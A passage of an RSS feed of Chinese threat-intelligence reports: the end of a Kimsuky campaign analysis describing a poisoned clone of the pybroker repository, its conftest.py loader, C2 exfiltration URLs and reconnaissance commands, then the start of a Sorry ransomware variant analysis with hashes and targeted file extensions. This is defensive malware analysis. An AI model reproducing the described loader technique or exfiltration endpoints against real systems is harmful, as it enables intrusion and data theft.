136);margin: 4px 0px 12px;"><span leaf="">图 23 回传信息</span></p><h3 style="font-size:17px;font-weight:bold;color:#000000;margin:18px 0 8px;letter-spacing:0.5px;"><span leaf="">供应链投毒</span></h3><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">攻击者克隆了真实存在的开源量化回测库pybroker，把恶意代码伪装成正常开发文件。用户从GitHub克隆恶意库后，一旦运行测试，因为pytest会自动加载被篡改的tests/conftest.py，而它在导入的瞬间就读取同目录下那个恶意的环境变量.env文件，使用0x5A作为密钥XOR解密并执行其中的函数。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.43425925925925923" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=00a214d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKiasSelYBJYib9bp4iaMdKds1Tm07bs2FFicSTOqzeAz6BsXRV8K6vk6Z9EN1ibsmyQzhY7CAyvJiaggAPWNQkakfR7jAZsRluzjowM%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 24 xor解密.env的代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">解密的python脚本从github仓库下载key.enc，用文件里硬编码的AES-GCM密钥解密后保存为C:\Users\Public\1.bat，再以cmd.exe/c无窗口方式运行，从而在开发者机器上植入后门并执行后续载荷；整个过程在非Windows上不触发、返回值也伪装成正常的随机数种子，是一次借&#34;跑测试&#34;触发的针对开发者的供应链投毒。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2583b225&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKCX6qQ2e0PQ6rRpsa7rQ2JUVHXATpy5gbgqygnVdLGkaOibwZT80pm7ibInpVL9CTrech5ly3RNjpO8FR2FZhmo1vgDTJwLSJhA%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 25 解密后的恶意python代码</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">由 Python 下载、解密并执行的脚本通过字符串拼接构造攻击者的 GitHub 下载地址作为 C2，滥用系统自带的certutil.exe/curl.exe副本下载三份文件，包括工具WinRAR(r.dat)、定向载荷real.dat(nircmd程序)、加密包check.dat；并用RAR程序解压得到后续脚本，再创建计划任务实现持久驻留。check.dat 解压出的脚本同上文一样下载后续系统信息收集脚本。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4212121212121212" data-w="990" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=997a489b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJywJlHUAnSZrd7ZmXmI5ybx76z4QPV4ggQic7fmKKfy1mlCQaIw0JS8LbwLRX7ppIjmcWibUe6nd8ZEN7NtcazU9EGTxHpbZKSg%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 26 下载后续载荷代码示例</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">系统信息收集脚本的两个C2地址均通过多次字符串拼接构造，伪装成Python社区相关站点，意图混入正常流量规避对完整URL的静态检测。还原后为：</span></p><table style="width:100%;border-collapse:collapse;margin:14px 0;box-sizing:border-box;background:#ffffff;font-size:14px;line-height:1.5;"><tbody><tr style="background:#f7f8fa;"><td style="border: 1px solid rgb(217, 222, 231);padding: 8px;vertical-align: middle;text-align: left;word-break: break-word;"><strong><span leaf=""><a href="http://pythons.mywebcommunity[.]org" target="_blank">http://pythons.mywebcommunity[.]org</a></span></strong></td><td style="border: 1px solid rgb(217, 222, 231);padding: 8px;vertical-align: middle;text-align: left;word-break: break-word;"><strong><span leaf="">签到、回连</span></strong></td></tr><tr><td style="border: 1px solid rgb(217, 222, 231);padding: 8px;vertical-align: middle;text-align: left;word-break: break-word;"><p><span leaf=""><a href="https://pythoncomunity.wasmer[.]app/wp-content/uploads/" target="_blank">https://pythoncomunity.wasmer[.]app/wp-content/uploads/</a></span></p></td><td style="border: 1px solid rgb(217, 222, 231);padding: 8px;vertical-align: middle;text-align: left;word-break: break-word;"><p><span leaf="">数据回传</span></p></td></tr></tbody></table><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">通过reg query读取注册表MachineGuid，拼接用户名_token并去空格，构成受害者唯一指纹，注入两个URL的userid/sessid参数。这一设计使攻击者服务端能精确关联每一次回传与具体机器、具体用户、具体投放活动。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14814814814814814" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0836160c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXK9oYqlJJrUOmUWmiaIByL4xUOwbkBxaptBrmjyUCAqjjicPK5u1AVMISvfTLqrP81kWIY4Jm4RF2XCt1okymMjib5UnWa8mjlfibI%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align: center;font-size: 13px;color: rgb(136, 136, 136);margin: 4px 0px 12px;"><span leaf="">图 27 设置用户标识</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">将多项信息写入%TEMP%下的暂存文件：受害者指纹、计算机名、系统版本（ver/systeminfo）、本地账户（net user）、进程清单（tasklist）、网络配置（ipconfig）、最近文档、用户目录及已装软件，形成完整主机画像供攻击者甄别目标价值。</span></p><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">最后用改名curl向<a href="https://pythoncomunity.wasmer[.]app/wp-content/uploads/?sessid=" target="_blank">https://pythoncomunity.wasmer[.]app/wp-content/uploads/?sessid=</a>&lt;指纹&gt;发起multipart POST请求，将信息文件上传。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5425925925925926" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=10c49ca2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIYS3H6uTOTtG4FfSSsT3l74HZK3UsB3h3eicILSlF4j5ekLlVzd2icUMgpk3nc7lRTyf1gAxFOaSMfUyKPSCSN5IohAQqhjJLqU%2F640%3Ffrom%3Dappmsg"/></span><p style="text-align:center;font-size:13px;color:#888;margin:4px 0 12px;"><span leaf="">图 28 收集用户信息</span></p><h1 style="display:inline-block;background-color:#be191f;padding:6px 15px;box-sizing:border-box;font-size:18px;font-weight:bold;color:#ffffff;letter-spacing:1.5px;margin:24px 0 16px;"><span leaf="">三、归属研判</span></h1><p style="font-size:17px;line-height:1.75em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">综合攻击目标、技术手法、工具特征等关联分析，我们认为此次攻击活动归属于APT-C-55（Kimsuky）组织。本次攻击投放的诱饵文档以韩文保险金融材料为主体，涉及金融、科研等领域，窃取内容包括系统配置、账户信息等敏感数据，具有典型的情报收集特征，与Kimsuky组织长期针对韩国及周边国家实施窃密活动的战略目标高度一致。攻击者广泛滥用certutil.exe、curl.exe等系统工具副本，采用计划任务持久化，使用公共目录驻留，这些技术手法已成为该组织的标志性特征，与历史攻击活动中的TTP高度吻合。我们综合判定，本次活动归属Kimsuky组织。</span></p><div style="margin:2em auto 0;padding:0.5em 0;border-top:1px solid #ccc;display:block;font-size:15px;color:#a6a6a6;box-sizing:border-box;"><p style="margin-top:-1.2em;text-align:center;padding:0;border:none;line-height:1.4;box-sizing:border-box;"><span style="font-size:15px;"><strong><span style="background-color:#0f0f19;color:#fff;padding:8px 23px;text-align:center;"><span leaf="">附录IOC</span></span></strong></span></p></div><p style="font-size:15px;line-height:1.6em;color:#333;margin:8px 0 0;text-indent:0;"><span leaf="">c670159a21ee9757f3aa0e94359904d8</span></p><p style="font-size:15px;line-height:1.6em;color:#333;margin:8px 0 0;text-indent:0;"><span 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      <pubDate>Thu, 15 Oct 2026 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>Sorry勒索软件新变种来袭</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508942&amp;idx=1&amp;sn=f827e689d16fb53bf3f2adfe8eea9642</link>
      <description>近期360反勒索团队接到多起Sorry勒索家族新变种反馈，感染规模达数千例且攻击仍在持续，加密数据覆盖数据库、备份、文档和源码，样本分析确认该变种正处于快速活跃期而非偶发事件</description>
      <content:encoded><![CDATA[<p>原创 <span>360威胁情报中心</span> <span>2026-09-25 08:59</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ff5c15a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXLhRwxeL3pdqkFeibXkHuPibYAufn3taRFLzbwbcvzQs5Z6U4cQfMgrKJBfVQ32S8fCVicyswfSAyggmo5GxYjzicdlrbL31zYUZUs%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>近期360反勒索团队接到多起Sorry勒索家族新变种反馈，感染规模达数千例且攻击仍在持续，加密数据覆盖数据库、备份、文档和源码，样本分析确认该变种正处于快速活跃期而非偶发事件</p>
  <div style="background:#f5f5f4;border-radius:4px;padding:14px 16px;margin:10px 8px;"><p style="margin:8px 0;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">近期360反勒索团队连续接到多起Sorry勒索家族相关反馈，第一波受害用户数据被加密的时间集中在9月20日夜间到21日，感染规模达数千例，且攻击仍在持续，本轮攻击的加密数据类型覆盖数据库、备份文件、办公文档和源码仓库等。结合对样本的编译时间戳信息和近期集中反馈与告警的事件，可以判断该家族变种正处于快速活跃期而非偶发单点事件。</span></p><p style="margin:8px 0;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">360反勒索团队结合大量事前未安装360防护的用户反馈及云端攻防数据，完成溯源分析，最终确认本轮Sorry家族投毒的攻击链源自某企业远控软件的漏洞利用。而本次变种样本的扩展名从此前的.sorry变为了.ths，勒索信文件名也变为了“hello.txt”。此外，其加密算法实现也从RSA+AES-GCM，整体调整为X25519+XChaCha20-Poly1305，其他部分则与之前版本保持一致。</span></p></div><p style="margin:24px 8px 16px;text-align:left;"><span style="font-size:18px;font-weight:bold;color:#ffffff;background-color:#be191f;padding:4px 14px;"><span leaf="">一、样本分析</span></span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">本次，我们基于捕获的一个真实样本进行分析。分析用例的具体样本信息如下：</span></p><table style="border-collapse:collapse;margin:16px 8px;font-size:14px;line-height:1;width:495px;"><tbody><tr><td data-colwidth="112" style="border:1px solid #d9d9d9;padding:5px 8px;background:#f5f5f5;font-weight:bold;text-align:center;"><p><span leaf="">项目</span></p></td><td data-colwidth="383" style="border:1px solid #d9d9d9;padding:5px 8px;background:#f5f5f5;font-weight:bold;text-align:center;"><p><span leaf="">数值</span></p></td></tr><tr><td data-colwidth="112" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">投毒路径</span></p></td><td data-colwidth="383" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">C:\Users\Public\dbg.exe</span></p></td></tr><tr><td data-colwidth="112" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">MD5</span></p></td><td data-colwidth="383" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">819e0d56c53a294befbb5ff879ec8886</span></p></td></tr><tr><td data-colwidth="112" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">SHA1</span></p></td><td data-colwidth="383" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">47219f67d14f806efa039d63cff179128b1996cd</span></p></td></tr><tr><td data-colwidth="112" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">SHA256</span></p></td><td data-colwidth="383" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">4e93fb51de8f05622b5edff8c6cec9cc8660049157c88ad4f53572e7d4d16c55</span></p></td></tr><tr><td data-colwidth="112" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">大小</span></p></td><td data-colwidth="383" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">72704 Byte</span></p></td></tr></tbody></table><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#be191f;"><span leaf="">1. 基本信息</span></span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">该样本并没有进行过多伪装，程序本身没有图标，并且也没有任何数字签名信息。但在文件信息层面，该样本依然进行了一定程度的伪装——其自称是微软公司开发的图片代理服务程序（Photos Agent Service）。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3226495726495726" data-w="468" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=225ac9bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIF2JIQL7YN2sZxsY9n3SyNhP7RjHOWYLc7Xo3ia4FHk495VvXJpDgvjV2BCG49zC0yIeicc8laS8ibtWLKtJXKbNBYic7vJRuBH4M%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#be191f;"><span leaf="">2. 执行准备</span></span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">样本执行后，会先检查当前设备的网络情况，之后再获取当前设备的计算机名、用户名、IP地址、处理器数量等基本信息，并判断当前环境是不是真实环境（非分析测试环境）。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3140877598152425" data-w="433" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f274f979&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLrVicqurRGJFJkMNdV5YNSHfCicySwJj5UgsSDHSvOga3Sic1yiard2kuz8367bJibht9crNwvAdDdMGreBJEJZtFEPpJOXiaWNgvYs%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">完成环境判断后，会尝试停止当前设备正在运行的数据库进程，以方便后续对数据库文件的加密操作。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2608695652173913" data-w="299" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=90fe69ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLcIsgVoUgmpOJdfNcibdibt4GEQAT5v8bIfZeOliakbVJg5wA5VQtFweIxX2NiaXqw9kufeYH1cQHKlCysOicZrXojcicPe5toMdKyg%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">此外，该勒索软件还会创建互斥量以防止重复运行。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4330708661417323" data-w="635" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=aa658d9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIJFCMmxdVSGkVpbAXCrKqt4VSjTIRLva1f34yJGhBRLOP7qRibBpFr0NrI7iaQd2JJLJM4icrT8Rh5YeicdcLicxAKTB2Bic77ibLCZY%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#be191f;"><span leaf="">3. 加密数据</span></span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">与此前的Sorry家族不同，本次捕获的样本更新了用于加密数据的算法实现方案。样本会在本地进行密钥的初始化生成，其中用于加密各类信息的非对称加密算法采用了 X25519算法。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.44368600682593856" data-w="586" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9c23cc0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKagYgBIn1eLU7TEibzxicxt2uVKTNiaKwfHaqDwQ6toudaRFqBwa1WqKUiak5Hedv44mSP5XfibjnKFbrFdtwgjj10gJQeq9kib4mh4%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">而用于快速加密各类文件的对称加密算法，则采用了XChaCha20-Poly1305算法实现。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3507751937984496" data-w="516" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd2e064d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI2EfIv1XIia8gqKgjkFSJpBIXLNaIGOYGLGwJSy6pyl1tt3nnk9tbMddicrCE6qyyPlvniaichcYfHaoJKlP9Im9TjO4YEAia4Vnhg%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">在完成各类密钥的初始化操作后，勒索软件会遍历当前设备的磁盘，进行数据加密操作。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.340956340956341" data-w="481" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=a9036baa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJcQJQa9nxQiciblLG8hWFkRGKcCVibFGedXbfEC4qcDrsJeqK8Kk5RE7r7jRribMNFniaYyBZP8epf5iaKdiapmZWDJO6kdaAQpm1WvM%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">本次用于分析的样本在具体执行加密操作时，对设备的数据文件共进行了三轮扫描，并根据文件类型分批次进行加密。</span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">其中，第一轮加密的文件扩展名均为各类常见的数据库文件（共28个扩展名），可见作者对数据库的重视程度。</span></p><table style="border-collapse:collapse;margin:16px 8px;font-size:14px;line-height:1;min-width:455px;"><tbody><tr><td data-colwidth="63" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.db</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.adf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dbb</span></p></td><td data-colwidth="70" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.db3</span></p></td><td data-colwidth="72" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.db_journal</span></p></td><td data-colwidth="74" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dbf</span></p></td><td data-colwidth="66" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dbx</span></p></td><td data-colwidth="60" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.fdb</span></p></td></tr><tr><td data-colwidth="63" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mdb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mdf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ndf</span></p></td><td data-colwidth="70" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sql</span></p></td><td data-colwidth="72" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sqlite</span></p></td><td data-colwidth="74" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sqlite3</span></p></td><td data-colwidth="66" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sqlitedb</span></p></td><td data-colwidth="60" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ldf</span></p></td></tr><tr><td data-colwidth="63" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sdf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3db</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.accdb</span></p></td><td data-colwidth="70" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.accde</span></p></td><td data-colwidth="72" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.accdr</span></p></td><td data-colwidth="74" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.accdt</span></p></td><td data-colwidth="66" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bak</span></p></td><td data-colwidth="60" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bdb</span></p></td></tr><tr><td data-colwidth="63" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.edb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dmp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.weax</span></p></td><td data-colwidth="70" style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rox</span></p></td><td data-colwidth="72" style="border:1px solid #d9d9d9;padding:5px 8px;"></td><td data-colwidth="74" style="border:1px solid #d9d9d9;padding:5px 8px;"></td><td data-colwidth="66" style="border:1px solid #d9d9d9;padding:5px 8px;"></td><td data-colwidth="60" style="border:1px solid #d9d9d9;padding:5px 8px;"></td></tr></tbody></table><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">而第二轮扫描中，勒索软件的目标则转变为常见的文档及影音类文件（共59个扩展名）。</span></p><table style="border-collapse:collapse;width:100%;margin:16px 8px;font-size:14px;line-height:1;"><tbody><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.doc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.docx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.docb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.docm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dot</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dotm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dotx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pdf</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.txt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rtf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.odt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ods</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.odp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ott</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xls</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlsx</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlsb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlsm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xltm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xltx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ppt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pptm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pptx</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pot</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.potm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.potx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pps</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ppsm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ppsx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ppam</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.psd</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ai</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.eps</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.svg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.png</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.jpg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.jpeg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.gif</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bmp</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tiff</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tif</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ico</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.raw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cr2</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.nef</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.orf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dng</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.raf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.arw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.webp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.fpx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dwg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dxf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.skp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.indd</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.livp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.heic</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.heif</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"></td></tr></tbody></table><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">最后的第三轮扫描则为收尾工作，将其他类型的有价值文件类型全都覆盖了进去（共357个扩展名），扩展名数量非常庞大。</span></p><table 